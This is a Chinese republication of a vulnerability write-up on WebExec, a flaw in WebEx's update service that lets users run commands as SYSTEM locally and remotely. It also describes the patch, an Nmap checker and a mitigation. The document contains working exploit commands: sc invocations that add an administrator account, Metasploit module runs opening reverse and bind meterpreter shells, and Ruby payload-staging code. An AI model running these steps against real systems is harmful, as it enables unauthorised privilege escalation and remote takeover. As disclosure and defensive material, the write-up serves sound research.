内容简介:本文是WebExec漏洞发现和工作原理的技术writeup。研究人员在渗透测试过程中发现WebEx的
本文是WebExec漏洞发现和工作原理的技术writeup。
研究人员在渗透测试过程中发现WebEx的 WebexUpdateService 存在漏洞—— WebExec ,攻击者利用该漏洞可以允许任何人登陆用户远程执行 SYSTEM 级代码。不同于一般远程代码执行漏洞的是,没有监听任何端口的客户端应用也可能存在远程代码执行漏洞。可以通过WebEx客户端的一个组件在WebEx没有监听远程连接的情况下远程执行代码。
简介
研究人员是在最近的一次渗透测试过程中发现的该漏洞,最初的测试目标是提升本地标准用户账户的权限,但发现了该远程代码执行漏洞,研究人员将其命名为WebExec。
WebEx的最新客户端版本是2018年8月的Version 3211.0.1801.2200, 最后修改日期2018年7月19日,SHA1值为 bf8df54e2f49d06b52388332938f5a875c43a5a7 。研究人员已经测试了许多新的和旧的版本,但都存在漏洞。
权限提升
研究人员发现文件夹 c:ProgramDataWebExWebExApplications 的权限很奇怪,任何人都可以进行读写,文件夹中安装了一个名为webexservice的服务,任何人都可以开始和停止该服务。
一个常见的测试方式是用 .exe 替换另一个白名单中的应用 msbuild.exe ,因为它读取相同目录中的 .vbproj 文件的任意C#代码。因为这是一个服务,在工作目录 c:windowssystem32 下运行,所以研究人员不能向该文件夹写入。
WebExService.exe
研究人员使用IDA来分析 WebExService.exe 。IDA中有两个简单的方法可以找出进程做了什么,分别是strings窗口和imports窗口。对webexservice.exe来说,大多数的字符串都与Windows服务相关。
.rdata:00405438 ; wchar_t aSCreateprocess .rdata:00405438 aSCreateprocess: ; DATA XREF: sub_4025A0+1E8o .rdata:00405438 unicode 0, <%s::CreateProcessAsUser:%d;%ls;%ls(%d).>,0
研究人员在advapi32.dll中发现引入了CreateProcessAsUserW,下面看一下具体是怎么被调用的:
.text:0040254E push [ebp+lpProcessInformation] ; lpProcessInformation .text:00402554 push [ebp+lpStartupInfo] ; lpStartupInfo .text:0040255A push 0 ; lpCurrentDirectory .text:0040255C push 0 ; lpEnvironment .text:0040255E push 0 ; dwCreationFlags .text:00402560 push 0 ; bInheritHandles .text:00402562 push 0 ; lpThreadAttributes .text:00402564 push 0 ; lpProcessAttributes .text:00402566 push [ebp+lpCommandLine] ; lpCommandLine .text:0040256C push 0 ; lpApplicationName .text:0040256E push [ebp+phNewToken] ; hToken .text:00402574 call ds:CreateProcessAsUserW
末尾的W表示函数的UNICODE(wide)版本。在开发Windows代码时,开发者在代码中会使用 CreateProcessAsUser ,编译器会将其扩展为 CreateProcessAsUserA (ASCII) 和 CreateProcessAsUserW(UNICODE) 。函数中两个最重要的参数是 hToken 和 lpCommandLine 。hToken是创建进程的用户,lpCommandLine是真实运行的命令。
hToken中的代码非常简单。查看调用 CreateProcessAsUserW ,就可以看到其动作执行的整个过程。
函数的顶部是:
.text:0040241E call ds:CreateToolhelp32Snapshot
这是在win32中搜索特定进程的一种普通方法,会创建运行进程的快照并用 Process32FirstW 和 Process32NextW 进行检查。研究人员曾经在用相同的技术写过一个注入 工具 将传统dll加载到其他进程中。
基于研究人员对API的了解,可以推测其在搜索特定进程。如果继续往下看,就可以找到调用了 _wcsicmp ,这个函数是 stricmp 所对应的 Unicode 系列的函数。
.text:00402480 lea eax, [ebp+Str1] .text:00402486 push offset Str2 ; "winlogon.exe" .text:0040248B push eax ; Str1 .text:0040248C call ds:_wcsicmp .text:00402492 add esp, 8 .text:00402495 test eax, eax .text:00402497 jnz short loc_4024BE
然后将每个进程名与 winlogon.exe 进行比对,也就是在获取到 winlogon.exe 进程的句柄。继续函数就可以看到分别顺序调用了 OpenProcess,OpenProcessToken和DuplicateTokenEx 。这是另一个常见的API调用序列,也就是进程如何获取另一个进程token的句柄。之后,复制的token会被传递给 CreateProcessAsUserW 作为 hToken 。
总结一下就是,该函数获取了 winlogon.exe 的handle,复制了其token,以相同用户 SYSTEM 创建了一个新的进程。现在需要做的就是找出进程是什么。一种简单的方法就是看API调用的顺序。
lpCommandLine
lpCommandLine的分析有一些复杂。研究人员使用了逆向、调试、故障检测、事件日志等方式来准确找出lpCommandLine的来源。
研究人员在分析过程中发现有大量的调试字符串和事件日志调用。因此,研究人员觉得可以尝试 Windows event viewer (eventvwr.msc) 和 sc 进程开启 webexservice :
C:Usersron>sc start webexservice
SERVICE_NAME: webexservice
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
[...]
下面是 WebExService.exe的日志:
ExecuteServiceCommand::Not enough command line arguments to execute a service command.
在IDA中搜索(alt+T):
.text:004027DC cmp edi, 3 .text:004027DF jge short loc_4027FD .text:004027E1 push offset aExecuteservice ; "ExecuteServiceCommand" .text:004027E6 push offset aSNotEnoughComm ; "%s::Not enough command line arguments t"... .text:004027EB push 2 ; wType .text:004027ED call sub_401770
逆向的结果是:将 edit 与 3 比较,如果大于等于就跳转,否则打印需要更多参数。很容易就可以试出来需要2个以上的参数。
C:Usersron>sc start webexservice a b [...]
然后检查Event Viewer:
ExecuteServiceCommand::Service command not recognized: b.
出现错误。继续在IDA中搜索(alt+T):
.text:00402830 loc_402830: ; CODE XREF: sub_4027D0+3Dj .text:00402830 push dword ptr [esi+8] .text:00402833 push offset aExecuteservice ; "ExecuteServiceCommand" .text:00402838 push offset aSServiceComman ; "%s::Service command not recognized: %ls"... .text:0040283D push 2 ; wType .text:0040283F call sub_401770
发现:
.text:004027FD loc_4027FD: ; CODE XREF: sub_4027D0+Fj .text:004027FD push offset aSoftwareUpdate ; "software-update" .text:00402802 push dword ptr [esi+8] ; lpString1 .text:00402805 call ds:lstrcmpiW .text:0040280B test eax, eax .text:0040280D jnz short loc_402830 ; <-- Jumps to the error we saw .text:0040280F mov [ebp+var_4], eax .text:00402812 lea edx, [esi+0Ch] .text:00402815 lea eax, [ebp+var_4] .text:00402818 push eax .text:00402819 push ecx .text:0040281A lea ecx, [edi-3] .text:0040281D call sub_4025A0
字符串 software-update 正是比较的字符串。因此用 software-update 替换 b 看看对不对。
命令如下:
C:Usersron>sc start webexservice a software-update [...]
命令执行会产生一条新的日志记录:
Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3 Faulting module name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3 Exception code: 0xc0000005 Fault offset: 0x00002643 Faulting process id: 0x654 Faulting application start time: 0x01d42dbbf2bcc9b8 Faulting application path: C:ProgramDataWebexWebexApplicationsWebExService.exe Faulting module path: C:ProgramDataWebexWebexApplicationsWebExService.exe Report Id: 31555e60-99af-11e8-8391-0800271677bd
研究人员的命令使进程奔溃了。但这里是想尝试使用其特征,因此:
exception code是 0xc0000005 ,表示内存错误。进程尝试访问一个坏的内存地址。
因此研究人员尝试暴力破解,添加更多的命令行参数。研究人员的逻辑是服务可能需要2个参数,但实际上使用的是第三个参数,但第三个参数不存在,所以进程奔溃了。
因此使用下面的参数:
C:Usersron>sc start webexservice a software-update a b c d e f [...]
同样奔溃了:
Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3 Faulting module name: MSVCR120.dll, version: 12.0.21005.1, time stamp: 0x524f7ce6 Exception code: 0x40000015 Fault offset: 0x000a7676 Faulting process id: 0x774 Faulting application start time: 0x01d42dbc22eef30e Faulting application path: C:ProgramDataWebexWebexApplicationsWebExService.exe Faulting module path: C:ProgramDataWebexWebexApplicationsMSVCR120.dll Report Id: 60a0439c-99af-11e8-8391-0800271677bd
Exception code变成了 0x40000015 ,表示 STATUS_FATAL_APP_EXIT ,也就是说应用程序退出了。因为没有输出,所以无法确定产生错误的真正原因。
下面分析其工作原理:
根据 software-update 字符串的代码路径,就可以看到下面的函数调用:
.text:0040281D call sub_4025A0
双击跳转到该函数,可以看到:
.text:00402616 mov [esp+0B4h+var_70], offset aWinsta0Default ; "winsta0\Default"
研究人员用最先进的技术搜索了该字符串,结果是一个默认桌面的句柄,常用于开启一个需要与用户交互的新进程。
在该函数中,研究人员还发现以下代码:
.text:004026A2 push eax ; EndPtr .text:004026A3 push esi ; Str .text:004026A4 call ds:wcstod ; <-- .text:004026AA add esp, 8 .text:004026AD fstp [esp+0B4h+var_90] .text:004026B1 cmp esi, [esp+0B4h+EndPtr+4] .text:004026B5 jnz short loc_4026C2 .text:004026B7 push offset aInvalidStodArg ; "invalid stod argument" .text:004026BC call ds:?_Xinvalid_argument@std@@YAXPBD@Z ; std::_Xinvalid_argument(char const *)
这行有一个错误, wcstod() 与 abort() 产生的位置很近。 wcstod() 是另一个微软的将字符转化为数字的函数。如果失败,代码会引用 std::_Xinvalid_argument 。
研究人员后来发现之后的参数应该是 1 ,因此命令行变成了:
C:Usersron>sc start webexservice a software-update 1 2 3 4 5 6
检查事件日志:
StartUpdateProcess::CreateProcessAsUser:1;1;2 3 4 5 6(18).
研究人员将 2 修改为一个真实进程:
C:Usersron>sc start webexservice a software-update 1 calc c d e f
然后就打开了真实的计算器:
C:Usersron>tasklist | find "calc" calc.exe 1476 Console 1 10,804 K
而且是GUI界面以 SYSTEM 权限运行的。
但是以同样的方式运行cmd.exe和powershell却不能工作。
本地利用
最简单的利用方式就是用 wmic.exe 打开 cmd.exe :
C:Usersron>sc start webexservice a software-update 1 wmic process call create "cmd.exe"
命令会打开一个 SYSTEM 权限的GUI cmd.exe实例:
Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:Windowssystem32>whoami nt authoritysystem
如果不以GUI方式打开,也可以提权:
C:Usersron>net localgroup administrators [...] Administrator ron C:Usersron>sc start webexservice a software-update 1 net localgroup administrators testuser /add [...] C:Usersron>net localgroup administrators [...] Administrator ron testuser
Jeff写了一个 Metasploit 本地模块来进行权限提升。如果攻击者在受影响的机器上有非SYSTEM的session,就可以用这种方式来获取SYSTEM账号(权限):
meterpreter > getuid Server username: IEWIN7IEUser meterpreter > background [*] Backgrounding session 2... msf exploit(multi/handler) > use exploit/windows/local/webexec msf exploit(windows/local/webexec) > set SESSION 2 SESSION => 2 msf exploit(windows/local/webexec) > set payload windows/meterpreter/reverse_tcp msf exploit(windows/local/webexec) > set LHOST 172.16.222.1 msf exploit(windows/local/webexec) > set LPORT 9001 msf exploit(windows/local/webexec) > run [*] Started reverse TCP handler on 172.16.222.1:9001 [*] Checking service exists... [*] Writing 73802 bytes to %SystemRoot%TempyqaKLvdn.exe... [*] Launching service... [*] Sending stage (179779 bytes) to 172.16.222.132 [*] Meterpreter session 2 opened (172.16.222.1:9001 -> 172.16.222.132:49574) at 2018-08-31 14:45:25 -0700 [*] Service started... meterpreter > getuid Server username: NT AUTHORITYSYSTEM
远程利用
最简单的漏洞利用可以通过Windows sc命令完成。可以在远程机器上创建一个session或用相同的凭证创建一个本地用户,然后在该用户环境下( runas /user:newuser cmd.exe )运行cmd.exe。完成后,就可以在远程主机上使用相同的命令了:
c:>sc \10.0.0.0 start webexservice a software-update 1 net localgroup administrators testuser /add
利用Metasploit远程利用
为了简化攻击,研究人员写了另外一对Metasploit模块。一个是实现该攻击来远程运行任意命令的辅助模块,另一个是完整的利用模块。两个模块都需要有效的SMB账号(本地或域账户都可以),但主要都依赖于WebExec library 。
下面是用复制模块来运行计算器的例子:
msf5 > use auxiliary/admin/smb/webexec_command msf5 auxiliary(admin/smb/webexec_command) > set RHOSTS 192.168.1.100-110 RHOSTS => 192.168.56.100-110 msf5 auxiliary(admin/smb/webexec_command) > set SMBUser testuser SMBUser => testuser msf5 auxiliary(admin/smb/webexec_command) > set SMBPass testuser SMBPass => testuser msf5 auxiliary(admin/smb/webexec_command) > set COMMAND calc COMMAND => calc msf5 auxiliary(admin/smb/webexec_command) > exploit [-] 192.168.56.105:445 - No service handle retrieved [+] 192.168.56.105:445 - Command completed! [-] 192.168.56.103:445 - No service handle retrieved [+] 192.168.56.103:445 - Command completed! [+] 192.168.56.104:445 - Command completed! [+] 192.168.56.101:445 - Command completed! [*] 192.168.56.100-110:445 - Scanned 11 of 11 hosts (100% complete) [*] Auxiliary module execution completed
下面是完整的利用模块:
msf5 > use exploit/windows/smb/webexec msf5 exploit(windows/smb/webexec) > set SMBUser testuser SMBUser => testuser msf5 exploit(windows/smb/webexec) > set SMBPass testuser SMBPass => testuser msf5 exploit(windows/smb/webexec) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf5 exploit(windows/smb/webexec) > set RHOSTS 192.168.56.101 RHOSTS => 192.168.56.101 msf5 exploit(windows/smb/webexec) > exploit [*] 192.168.56.101:445 - Connecting to the server... [*] 192.168.56.101:445 - Authenticating to 192.168.56.101:445 as user 'testuser'... [*] 192.168.56.101:445 - Command Stager progress - 0.96% done (999/104435 bytes) [*] 192.168.56.101:445 - Command Stager progress - 1.91% done (1998/104435 bytes) ... [*] 192.168.56.101:445 - Command Stager progress - 98.52% done (102891/104435 bytes) [*] 192.168.56.101:445 - Command Stager progress - 99.47% done (103880/104435 bytes) [*] 192.168.56.101:445 - Command Stager progress - 100.00% done (104435/104435 bytes) [*] Started bind TCP handler against 192.168.56.101:4444 [*] Sending stage (179779 bytes) to 192.168.56.101
从上面的代码可以看出,真实的实现非常直接,但这里要说的是利用模块的一个问题:如何上传一个meterpreter .exe并且运行呢?
研究人员用类psexec的利用将.exe文件上传到可写分区,然后通过WebExec执行。但是上传到share分区一般需要管理员权限,这里可以使用psexec。但这就失去了WebExec的作用。
在与 Egyp7讨论过后,研究人员认为可以用 Msf::Exploit::CmdStager mixin 。用 .vbs 写一个Base64编码的文件到硬盘,然后解码并执行。
但这种方案也有一些问题:
- 每行最大长度为1200个字符,而
CmdStager mixin每行会用2000个字符; -
CmdStager会用%TEMP%作为临时目录,但当前利用并不扩展路径; -
WebExecService好像会用反斜杠转义引号,研究人员不清楚如何关闭。
前两个问题很好解决:
wexec(true) do |opts| opts[:flavor] = :vbs opts[:linemax] = datastore["MAX_LINE_LENGTH"] opts[:temp] = datastore["TMPDIR"] opts[:delay] = 0.05 execute_cmdstager(opts) end
execute_cmdstager() 可以执行execute_command() 来构建payload,这里就修复了最后一个问题:
# This is the callback for cmdstager, which breaks the full command into
# chunks and sends it our way. We have to do a bit of finangling to make it
# work correctly
def execute_command(command, opts)
# Replace the empty string, "", with a workaround - the first 0 characters of "A"
command = command.gsub('""', 'mid(Chr(65), 1, 0)')
# Replace quoted strings with Chr(XX) versions, in a naive way
command = command.gsub(/"[^"]*"/) do |capture|
capture.gsub(/"/, "").chars.map do |c|
"Chr(#{c.ord})"
end.join('+')
end
# Prepend "cmd /c" so we can use a redirect
command = "cmd /c " + command
execute_single_command(command, opts)
end
首先,用空字符串替换 mid(Chr(65), 1, 0) 。
第二,用 Chr(n)+Chr(n)+.... 替换其他字符串。但是不能使用 & ,因为这是 shell 用来连接命令的。
最后,将 cmd/c 加到命令之前,这可以将结果输出到文件,也可以用 ^> 代替。
检查补丁
修复的WebEx也可以使远程用户连接到进程,并启动。但如何进程被检测到正运行一个没有被WebEx签名的可执行文件,执行就会中止。而且研究人员也不清楚主机是否有漏洞。
为了验证代码是否运行,研究人员使用DNS请求、telnet返回特定端口,在webroot中释放文件等方式进行验证。问题是如果没有通用的检查方法,还不如使用脚本呢。
为了利用这一点,研究人员必须要获取到 service-controlservice (svcctl) 的句柄。因此,研究人员决定安装一个假的服务,尝试启动,然后删除。如果启动服务返回的是 ok 或 ACCESS_DENIED ,就知道代码是否运行了。
下面是研究人员开发的Nmap checker模块的重要代码:
-- Create a test service that we can query
local webexec_command = "sc create " .. test_service .. " binpath= c:\fakepath.exe"
status, result = msrpc.svcctl_startservicew(smbstate, open_service_result['handle'], stdnse.strsplit(" ", "install software-update 1 " .. webexec_command))
-- ...
local test_status, test_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], test_service, 0x00000)
-- If the service DOES_NOT_EXIST, we couldn't run code
if string.match(test_result, 'DOES_NOT_EXIST') then
stdnse.debug("Result: Test service does not exist: probably not vulnerable")
msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
vuln.check_results = "Could not execute code via WebExService"
return report:make_output(vuln)
end
Not shown: we also delete the service once we're finished.
总结
WebEx 10月3日发布了补丁,详见webexec.org。好消息是该服务的修复版本只能运行WebEx签名的文件。坏消息是有许多版本都没有修复,而且该服务可以远程启动。
如果不想远程启动该服务,可以用命令关闭:
c:>sc sdset webexservice D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPLORC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
这就移除了该服务的远程和非交互式访问。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- Web 安全恩仇录:漏洞原理
- ThinkPHP远程命令执行漏洞原理及复现
- MS08-067漏洞原理及详尽分析过程
- 二进制各种漏洞原理实战分析总结
- Apache Struts OGNL注入漏洞原理与示例
- Facebook任意JS代码执行漏洞原理与利用分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
数值方法和MATLAB实现与应用
拉克唐瓦尔德 / 机械工业出版社 / 2004-9 / 59.00元
本书是关于数值方法和MATLAB的介绍,是针对高等院校理工科专业学生编写的教材。数值方法可以用来生成其他方法无法求解的问题的近似解。本书的主要目的是为应用计算打下坚实的基础,由简单到复杂讲述了标准数值方法在实际问题中的实现和应用。本书通篇使用良好的编程习惯向读者展示了如何清楚地表达计算思想及编制文档。书中通过给读者提供大量的可直接运行的代码库以及讲解MARLAB工具箱中内置函数使用的数量方法,帮助......一起来看看 《数值方法和MATLAB实现与应用》 这本书的介绍吧!